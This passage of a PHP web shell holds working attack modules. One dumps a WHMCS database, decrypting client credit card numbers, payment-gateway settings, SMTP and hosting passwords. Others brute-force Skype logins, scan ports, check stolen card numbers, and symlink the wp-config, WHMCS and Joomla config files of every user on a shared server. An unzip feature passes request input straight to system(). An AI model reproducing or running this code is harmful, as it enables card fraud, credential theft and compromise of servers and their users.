$query = mysql_query("SELECT * FROM tblconfiguration where 1");
echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='4'><span class='b7'>O=:[ SMTP SERVER ]:=O</span> </th></tr>
<tr> 
<th align='center'><b>SMTP HOST</b></th>
<th align='center'><b>SMTP USER</b></th>
<th align='center'><b>SMTP PASS</b></th>
<th align='center'><b>SMTP PORT</b></th></tr>";
 
$smtp = array('SMTPHost',
'SMTPUsername',
'SMTPPassword',
'SMTPPort');
if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
} 
while($row = mysql_fetch_array($query)){
if($row[setting] == $smtp[0]){
echo "<tr><td>{$row[value]}</td>";  
$smtp[0] = xxx;
}
elseif($row[setting] == $smtp[1]){
echo "<td>{$row[value]}</td>";  
$smtp[1] = xxx;
}
elseif($row[setting] == $smtp[2]){
echo "<td>{$row[value]}</td>";  
$smtp[2] = xxx;
}
elseif($row[setting] == $smtp[3]){
echo "<td>{$row[value]}</td>";  
$smtp[3] = xxx;
}
}
echo "</table>"; 


$query = mysql_query("SELECT *FROM tblpaymentgateways");
echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='4'><nobr><span class='b7'>O=:[ PAYMENTS GATEWAY ]:=O</span></nobr></th></tr> 
 
<tr>
<th align='center'><b>GATEWAY</b></th>
<th align='center'><b>SETTING</b></th>
<th align='center'><b>VALUE</b></th>
<th align='center'><b>ORDER</b></th></tr>";
if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='4' align='center'>Nothing Found !</td></tr>";
} 
while($v = mysql_fetch_array($query)){
echo "<tr>
<td align='center'>{$v['gateway']}</td>
<td align='center'>{$v['setting']}</td>
<td align='center'>{$v['value']}</td>
<td align='center'>{$v['order']}</td> </tr>" ;
}
echo "</table>"; 

$query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC"); 
 echo "<br/><br/><center><table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='10'><nobr><span class='b7'>O=:[ CLIENTS CREDIT CARD ]:=O</span></nobr></th></tr> 
<tr>
<th align='center'><b>CardType</b></th>
<th align='center'><b>CardNumb</b></th>
<th align='center'><b>Expdate</b></th>
<th align='center'><b>IssueNumber</b></th>
<th align='center'><b>FirstName</b></th>
<th align='center'><b>LastName</b></th>
<th align='center'><b>Address</b></th>
<th align='center'><b>Country</b></th> 
<th align='center'><b>Phone</b></th>
<th align='center'><b>Email</b></th> 
</tr>";
if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='10' align='center'>Nothing Found ! :(</td></tr>";
}        
while($v = mysql_fetch_array($query)) { 
$cchash = md5($cc_encryption_hash.$v['0']);
$s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='".$v['0']."'");
$v2=mysql_fetch_array($s); 
 
echo "<tr>
<td align='center'>".$v2['cardtype']."</td>
<td align='center'>".$v2['cardnum']."</td>
<td align='center'>".$v2['expdate']."</td>
<td align='center'>".$v2['issuenumber']."</td>
<td align='center'>".$v2['firstname']."</td>
<td align='center'>".$v2['lastname']."</td>
<td align='center'>".$v2['address1']."</td>
<td align='center'>".$v2['country']."</td> 
<td align='center'>".$v2['phonenumber']."</td>
<td align='center'>".$v2['email']."</td></tr>";
}
echo "</table>";
 
$query = mysql_query("SELECT *FROM tblhosting");
echo "<br/><br/><center>
<table class='explore' style=width:830px;padding:0 1px;> 
<tr><th colspan='6'><nobr><span class='b7'>O=:[ CLIENTS HOSTING ACCOUNT ]:=O</span></nobr></th></tr> 
<tr>
<th align='center'><b>DOMAIN</b></th>
<th align='center'><b>STATUS</b></th>
<th align='center'><b>USERNAME</b></th>
<th align='center'><b>PASSWORD</b></th>
<th align='center'><b>DEDICATED IP</b></th>
<th align='center'><b>ASSIGNED IP</b></th></tr>";
if(!is_array(mysql_fetch_array($query))){
echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
} 
while($v = mysql_fetch_array($query)){
echo "<tr>
<td align='center'>{$v['domain']}</td>
<td align='center'>{$v['domainstatus']}</td>
<td align='center'>{$v['username']}</td>
<td align='center'>".dec($v['password'],$cc_encryption_hash)."</td>
<td align='center'>{$v['dedicatedip']}</td>
<td align='center'>{$v['assignedips']}</td></tr>";
}
echo "</table>";
} 
}


 # x=psan
elseif(isset($_GET['x']) && ($_GET['x'] == 'pscan')){ ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=pscan" method="post">

<?php
echo '<center><br/><br/><nobr><b><span class="b7">O=:[ PORT</span> <span class="b8">SCANNER ]:=O</span></b></nobr><br/><br/>';

$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);

if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){

for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){

echo "Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font><br>";
}
flush();
}
} else {
echo '<input type="hidden" name="y" value="phptools">

Host <br/>
<input type="text" class="inputz" name="host" value="localhost"/><br />
Port Start<br />
<input type="text" class="inputz" name="start" value="0"/><br />
Port End:<br />
<input type="text" class="inputz" name="end" value="5000"/><br />
<input type="submit" class="inputzbut" value="Scan Ports" />
</form></center>';
}
}

// ********** x=string ********** //
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){ ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=string" method="post">

<br><br><form method='post'>
<table class="tabnet"><tbody>
<tr><th colspan="2"> String to Hash </th></tr>
<tr><td>String : </td>
<td><input type='text' class='inputz' name='hash_input' value='<? if(isset($_POST['hash_input'])){echo $_POST['hash_input'];}?>' /></td></tr>
<tr>
<td align="center" colspan="2"><input type='submit' name='submit_hash' style="width:100%;" class='inputzbut' value='Encode' /></td>
</tr>
</tbody>
</table>
</form>
<br><br>

<?php
if(isset($_POST['submit_hash'])) {
if(isset($_POST['hash_input'])) {
$hash_input = $_POST['hash_input'];
}

if($hash_input=="") { 
echo 'Nothing Inserted!';
} else {
if (isset($hash_input)) {
echo "<table class='tabnet'><tbody>
<tr><th colspan='2'> Hash </th></tr>";

foreach (hash_algos() as $hash_setoption) {    $calculate_hash = hash($hash_setoption, $hash_input, false);

echo "<tr><td width='70' align='center'><font style='color:#9F7CEB'>$hash_setoption</font></td><td><font style='color:#5BC740'>$calculate_hash</font></td></tr>"; 
}
echo "</tbody></table>";
}
}
}
}

# x=cc
elseif(isset($_GET['x']) && ($_GET['x'] == 'cc')){ ?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=cc" method="post">

<?php
class CreditCardValidator {
private $arrCardInfo = array('status' => null, 'type' => null, 'substring' => null, 'reason' => null);
	
private $arrCardTypes = array('amex' => array('name'		=>	'American Express','active'	=> 	true, 'iinrange' 	=> 	'34,37','length'	=> 	15), 'discover' => array('name'		=>	'Discover','active'	=> 	true,'iinrange' 	=> 	'6011,622126-622925,644-649,65','length'	=> 	16), 'mastercard' => array('name'		=>	'MasterCard','active'	=> 	true,'iinrange' 	=> 	'51-55','length'	=> 	16), 'visa' => array('name'		=>	'VISA','active'	=> 	true,'iinrange' 	=> 	'4','length'	=> 	16));
	
private $arrAcceptedMII = array(3, 4, 5, 6);
public function Validate($strCardNumber=null, $strCardType=null) {

if($strCardNumber === null) {
$this->arrCardInfo['failure'] = 'format';
$this->arrCardInfo['status'] = 'invalid';
return false;
}
		
if(($strCardType !== null) && !in_array($strCardType, $this->arrCardTypes)) {
$this->arrCardInfo['failure'] = 'cardtype';
$this->arrCardInfo['status'] = 'invalid';
return false;
}
if(!$this->CheckMII($strCardNumber)) {
$this->arrCardInfo['failure'] = 'mii';
$this->arrCardInfo['status'] = 'invalid';
return false;
}
if(!$this->CheckIIN($strCardNumber)) {
$this->arrCardInfo['failure'] = 'iin';
$this->arrCardInfo['status'] = 'invalid';
return false;
}
if(!$this->CheckLuhn($strCardNumber)) {
$this->arrCardInfo['failure'] = 'algorithm';
$this->arrCardInfo['status'] = 'invalid';
return false;
}
$this->arrCardInfo['status'] = 'valid';
$this->arrCardInfo['substring'] = $this->GetCardSubstring($strCardNumber);
return true;
} 
private function CleanCardNumber($strCardNumber=null) {
return preg_replace('/[^0-9]/', '', $strCardNumber);
} 

private function GetCardSubstring($strCardNumber=null) {
if(strstr($strCardNumber, '*') && (substr($strCardNumber) < 10)) return $strCardNumber;
$strCardNumber = $this->CleanCardNumber($strCardNumber);
return $strCardNumber ? '***'.substr($strCardNumber, (strlen($strCardNumber) - 4), 4) : '';
} 

private function CheckMII($strCardNumber=null) {
$strCardNumber = $this->CleanCardNumber($strCardNumber);
if(!$strCardNumber) return false;
		
$intFirstDigit = (int) substr($strCardNumber, 0, 1);
if(!in_array($intFirstDigit, $this->arrAcceptedMII)) return false;
return true;
} 
	
private function CheckLuhn($strCardNumber=null) {
$strCardNumber = (string) $this->CleanCardNumber($strCardNumber);
$strCheckDigit = substr($strCardNumber, (strlen($strCardNumber) - 1), 1);
$strCardNumberReverse = strrev($strCardNumber);
$intTotal = 0;
for($i = 1; $i <= strlen($strCardNumberReverse); $i++) {
$intVal = (int) ($i % 2) ? $strCardNumberReverse[$i-1] : ($strCardNumberReverse[$i-1] * 2);
if($intVal > 9) {
$strVal = (string) $intVal;
$intVal = (int) ($strVal[0] + $strVal[1]);
}
$intTotal += $intVal;
}
return (($intTotal % 10) == 0) ? true : false;
} 
	
private function CheckIIN($strCardNumber=null) {
$strCardNumber = $this->CleanCardNumber($strCardNumber);
if(!$strCardNumber) return false;
$arrCardTypePossibilities = array();
foreach($this->arrCardTypes as $strShortName => $arrCardType) {
if($arrCardType['active'] === true) {
$strLen = strlen($strCardNumber);
if($strLen == $arrCardType['length']) {
					
$arrRangeSets = explode(',', $arrCardType['iinrange']);
foreach($arrRangeSets as $strRangeSetItem) {
$arrStrRanges = explode('-', $strRangeSetItem);
if(count($arrStrRanges) > 1) {
for($i = $arrStrRanges[0]; $i <= $arrStrRanges[1]; $i++) {
						
if((strpos((string) $strCardNumber, (string) $i) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName; 
}
} else {
if((strpos((string) $strCardNumber, (string) trim($arrStrRanges[0])) === 0) && !in_array($strShortName, $arrCardTypePossibilities)) $arrCardTypePossibilities[] = $strShortName; 
}
}
} 
} 
} 
$this->arrCardInfo['type'] = implode('|', $arrCardTypePossibilities);
return count($arrCardTypePossibilities) ? true : false;
} 

public function GetCardInfo() {
return $this->arrCardInfo;
}
	
public function GetCardName($strCardShortName=null) {
return isset($this->arrCardTypes[$strCardShortName]['name']) ? $this->arrCardTypes[$strCardShortName]['name'] : '';
} 
} 
$CCV = new CreditCardValidator();

if(isset($_POST['cardnum'])) :
$CCV->Validate($_POST['cardnum']);
$CARDINFO = $CCV->GetCardInfo();
endif;
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="en"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Credit Card Validation - Test Page</title><style type="text/css">
body{ font-size: 13px; color: #333; font-family: 'georgia', 'times new roman', serif; margin: 20px; }

fieldset{ border: 0; margin: 0; font-style: italic; }

legend{ display: none; }

label{ width: 100%; float: left; clear: both; font-size: 15px; font-weight: bold; color: #999; line-height: 3; }

input, textarea{ font-size: 18px; line-height: 1.4; padding: 10px; border: 2px solid #eee; }

textarea{ background-color: #eee; color: blue; }

h2{ font-size: 30px; }

#fs-input input{ width: 500px; margin-bottom: 15px; }
#fs-input input.cb{ width: auto; }
#fs-submit input{ background-color: #333; color: lightyellow; }
</style>
</head>

<body><h2>Credit Card Tester</h2>
<form action="" method="post">
<fieldset id="fs-input"><legend></legend>
<label>Card Number</label>
<input type="text" style="color:#FF0000;background-color:#000000" name="cardnum" value="<?php echo @$_POST['cardnum']; ?>"><br>
<input type="checkbox" name="showgeek" class="cb" value="1"<?php if(isset($_POST['showgeek'])) echo ' checked'; ?>> Show Geeky Output
</fieldset>
<fieldset id="fs-submit">
<legend></legend>
<label></label>
<input type="submit" value="Check CC">
</fieldset>
<?php if(isset($_POST['cardnum'])) : ?>
<hr>
				
<h2>Result</h2><fieldset id="fs-result">
<legend></legend><label></label>
<strong>Status:</strong> <?php echo strtoupper($CARDINFO['status']); ?><br>
<strong>Card Type: </strong> <?php echo $CCV->GetCardName($CARDINFO['type']); ?>
</fieldset>
<?php endif; ?>
<?php if(isset($_POST['showgeek'])) : ?>
<fieldset id="fs-geek-result">
<legend></legend>
<label>Geeky Result</label>
<textarea style="color:#FF0000;background-color:#000000" rows="40" cols="80"><?php print_r($CCV); ?></textarea>
</fieldset>
<?php endif; ?>
</form></body></html>

<?php } 
# x=unzip
elseif(isset($_GET['x']) && ($_GET['x'] == 'unzip')){
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=unzip" method="post">
<center><br/><br/><nobr><span class="b7">O=:[ ZIP FILE</span> <span class="b8">EXTRACTOR ]:=O</nobr><br/><br/> 
<?php
$file = $_POST['file'];
if (isset($file)){
echo "<nobr><b>[+] PROSES BONGKAR [+]</b><br><br></nobr>";
system('unzip -o ' . $file);
echo "<br/>";
exit;
}
 
$handler = opendir(".");
echo "<center><b>Pilih File Yg Mau Di Unzip :<b><br> " . "<br>";
echo '<form action="" method="get">';
$found = false; 
while ($file = readdir($handler)) {
if (preg_match ("/.zip$/i", $file)) {
echo '<input type="radio" name="file" value=' . $file . '> ' . $file . '<br>';
$found = true;
}
}
closedir($handler);
if ($found == false)
echo "<br><br><b>[+] GA ADA FILE EXTENSI ZIP [+]<b><br>";
else
echo '<br><br><inpuy type="submit" value="Unzip File">';
echo "</form>";
?>

<?php }
# x=analyzer
elseif(isset($_GET['x']) && ($_GET['x'] == 'analyzer')){
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=analyzer" method="post">

<center><br/><br/><nobr><span class="b7">O=:[ HASH TYPE</span> <span class="b8">ANALYZER ]:=O</nobr><br/><br/> <form method=POST>
<input type="text" style="color:#FF0000;background-color:#000000" name="hashToAnalyze" size=60><input type="submit" style="color:#FF0000;background-color:#000000" value="Check Hash Now" name="analyzieNow"></form></center>
<?php
if($_POST['analyzieNow']){
$hash = $_POST['hashToAnalyze'];
$subHash = substr($hash,0,3);
if($subHash =='$ap' && strlen($hash) == 37){
echo "The Hash : ".$hash." is : MD5(APR) Hash";
}
else if($subHash =='$1$' && strlen($hash) == 34){
echo "The Hash : ".$hash." is : MD5(UNIX) Hash";
}
else if($subHash =='$H$' && strlen($hash) == 35){
echo "The Hash : ".$hash." is : MD5(phpBB3) Hash";
}
else if(strlen($hash) == 29){
echo "The Hash : ".$hash." is : MD5(Wordpress) Hash";
}
else if($subHash =='$5$' && strlen($hash) == 64){
echo "The Hash : ".$hash." is : SHA256(UNIX) Hash";
}
else if($subHash =='$6$' && strlen($hash) == 128){
echo "The Hash : ".$hash." is : SHA512(UNIX) Hash";
}
else if(strlen($hash) == 56){
echo "The Hash : ".$hash." is : SHA224 Hash";
}
else if(strlen($hash) == 64){
echo "The Hash : ".$hash." is : SHA256 Hash";
}
else if(strlen($hash) == 96){
echo "The Hash : ".$hash." is : SHA384 Hash";
}
else if(strlen($hash) == 128){
echo "The Hash : ".$hash." is : SHA512 Hash";
}
else if(strlen($hash) == 40){
echo "The Hash : ".$hash." is : MySQL v5.x Hash";
}
else if(strlen($hash) == 16){
echo "The Hash : ".$hash." is : MySQL Hash";
}
else if(strlen($hash) == 13){
echo "The Hash : ".$hash." is : DES(Unix) Hash";
}
else if(strlen($hash) == 32){
echo "The Hash : ".$hash." is : MD5 Hash";
}
else if(strlen($hash) == 4){
echo "The Hash : ".$hash." is : [CRC-16]-[CRC-16-CCITT]-[FCS-16]";}
else {
echo "Error : Can't Detect Hash Type";
}
}
?>


<?php }
# x=skype
elseif(isset($_GET['x']) && ($_GET['x'] == 'skype')){
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=skype" method="post"> 
<br/><br/><form method='POST'>

<center><br/><br/>
<img src='http://www.in-travel.info/easter2013/wp-content/uploads/2012/12/Skype-Logo-300x133.png'><br/><br/><nobr><span class='b7'>O=:[ BRUTEFORCE</span> <span class='b8'>SKYPE ACCOUNT ]:=O</span></nobr><br/><br/> 
<nobr>Username : <input style='color:#FF0000;background-color:#000000' type='text' name='skypename' placeholder='Skype Name' size='38'><br>
<textarea style='color:#FF0000;background-color:#000000' rows='16' cols='38' name='passwords' placeholder='passwords'></textarea><br><br>
<input style='color:#FF0000;background-color:#000000' type='submit' value='Start BruteForce' name='brute'><br>
</center>
</form>
<?php
@set_time_limit(0);
$skype = "https://login.skype.com/login?application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin";
# Username & Password
$username = $_POST['skypename'];
$password = explode("
", $_POST['passwords']);

$time = date_default_timezone_set("Asia/Jakarta");
$date = date('H:i:s'); 
$header = "HTTP/1.1 302";
function xsecurity($skype){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $skype);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$run = curl_exec($ch);
preg_match('/<input type="hidden" name="session_token" value="(.*?)"/', $run, $hash);
preg_match('/<input type="hidden" name="pie" id="pie" value="(.*?)"/', $run, $piie);
preg_match('/<input type="hidden" name="etm" id="etm" value="(.*?)"/', $run, $etmm);
return $hash[1]."|:|".$piie[1]."|:|".$etmm[1];}

$xsec = explode("|:|" ,xsecurity($skype));
$token = $xsec[0];
$pie = $xsec[1];
$etm = $xsec[2];
	
function brute($skype,$username,$pass,$header){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $skype);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "username={$username}&password={$pass}&timezone_field=%2B03%7C00&pie={$pie}&etm={$etm}&js_time={$date}&session_token={$token}&application=account&return_url=https%3A%2F%2Fsecure.skype.com%2Faccount%2Flogin");
curl_setopt($ch,CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
curl_setopt($ch,CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$brute = curl_exec($ch);
if(strstr($brute, $header)){
echo "<br><br><nobr><center><span class='b11'>[+] Password Cracked is <b>{$pass}</b> --> <b>{$username}</b></span></center>";
}
return $brute;
}
if($_POST['brute']){
foreach($password as $pass)
{
brute($skype,$username,$pass,$header);
}
}
?> 

<?php }
# x=grabber
elseif(isset($_GET['x']) && ($_GET['x'] == 'grabber')){
?>
<form action="?dm=<?php echo $pwd; ?>&amp;x=grabber" method="post">

<center><br/><br/><nobr><span class="b7">O=:[ CONFIG</span> <span class="b8">GRABBER ]:=O</nobr><br/><br/><form method="POST">
<textarea style="color:#FF0000;background-color:#000000"cols="50" rows="20" name="passwd" ></textarea><br/><br/>
<input name="cat" size="80" style="color:#FF0000;background-color:#000000" value="START GRAB CONFIG" type="submit"><br/></form>

<?php
@error_reporting(0);
@set_time_limit(0);
if($_POST["cat"] && !$_POST["passwd"]==""){
echo "Checking Functions ...<br>";
$functions=@ini_get("disable_functions");
if(eregi("symlink",$functions)){
die("<center><br/><br/><nobr><span class='b9'>DISABLE FUNCTIONS IS ON</span></nobr><br/><br/></center>");
}
@mkdir("dm_grab", 0755);
@chdir("dm_grab");
$htaccess="
Options all
Options +Indexes
Options +FollowSymLinks
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None 
Satisfy Any";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);
$passwd=$_POST["passwd"];
$passwd=explode("
",$passwd);
echo "Start Symlinking ...<br>";
foreach($passwd as $pwd){
$pawd=explode(":",$pwd);
$user =$pawd[0];
// Now symlink Them
@symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-shop.txt');
@symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-shop-os.txt');
@symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-oscom.txt');
@symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$user.'-oscommerce.txt');
@symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$user.'-oscommerces.txt');
@symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-shop2.txt');
@symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$user.'-shop-shopping.txt');
@symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$user.'-sale.txt');
@symlink('/home/'.$user.'/public_html/amember/config.inc.php',$user.'-amember.txt');
@symlink('/home/'.$user.'/public_html/config.inc.php',$user.'-amember2.txt');
@symlink('/home/'.$user.'/public_html/members/configuration.php',$user.'-members.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images1.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-forum.txt');
@symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-forums.txt');
@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'-5.txt');
@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'-4.txt');
@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');
@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');
@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');
@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');
@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');
@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');
@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');
@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'-wp13-wordpress-beta.txt');
@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');
@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');
@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');
@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');
@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');
@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');
@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'-wp-protal.txt');
@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');
@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');
@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-wp-test.txt');
@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home/'.$user.'/public_html/arcade/functions/dbclass.php',$user.'-ibproarcade.txt');
@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');
@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'-joomla-protal.txt');
@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');
@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');
@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');
@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');
@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');
@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');
@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');
@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'-vb3-config.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-vb1-config.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-includes-vb.txt');
@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'-vbluttin-class_core.php.txt');
@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'-vbluttin-class_core.php1.txt');
@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'-vbluttin-class_core.php2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');
@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/supp/configuration.php',$user.'-supp.txt');
@symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-sucure.txt');
@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm.txt');
@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs.txt');
@symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'-cpanel.txt');
@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-panel.txt');
@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-host.txt');
@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting.txt');
@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-clients.txt');
@symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-client.txt');
@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes.txt');
@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-client.txt');
@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport.txt');
@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-billing.txt'); 
@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage.txt'); 
@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-whm-my.txt'); 
@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop.txt'); 
@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-zencart.txt'); 
@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-shop-zencart.txt'); 
@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-shop-ZCshop.txt'); 
@symlink('/home/'.$user.'/public_html/Settings.php',$user.'-smf.txt'); 
@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'-smf2.txt'); 
@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'-smf-forum.txt'); 
@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'-smf-forums.txt'); 
@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'-up.txt');
@symlink('/home/'.$user.'/public_html/article/config.php',$user.'-Nwahy.txt'); 
@symlink('/home/'.$user.'/public_html/up/includes/config.php',$user.'-up2.txt');
@symlink('/home/'.$user.'/public_html/conf_global.php',$user.'-6.txt');
@symlink('/home/'.$user.'/public_html/include/db.php',$user.'-7.txt');
@symlink('/home/'.$user.'/public_html/connect.php',$user.'-PHP-Fusion.txt');
@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'-9.txt');
@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-traidnt1.txt');
@symlink('/home/'.$user.'/public_html/config.php',$user.'-4images.txt');
@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'-1member.txt') ; 
@symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-billings.txt') ; 
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');
@symlink('/home/'.$user.'/public_html/supports/configuration.php',$user.'-supports.txt');
@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'-AM4SS-hosting.txt');
@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'-hostbills-supports.txt');
@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
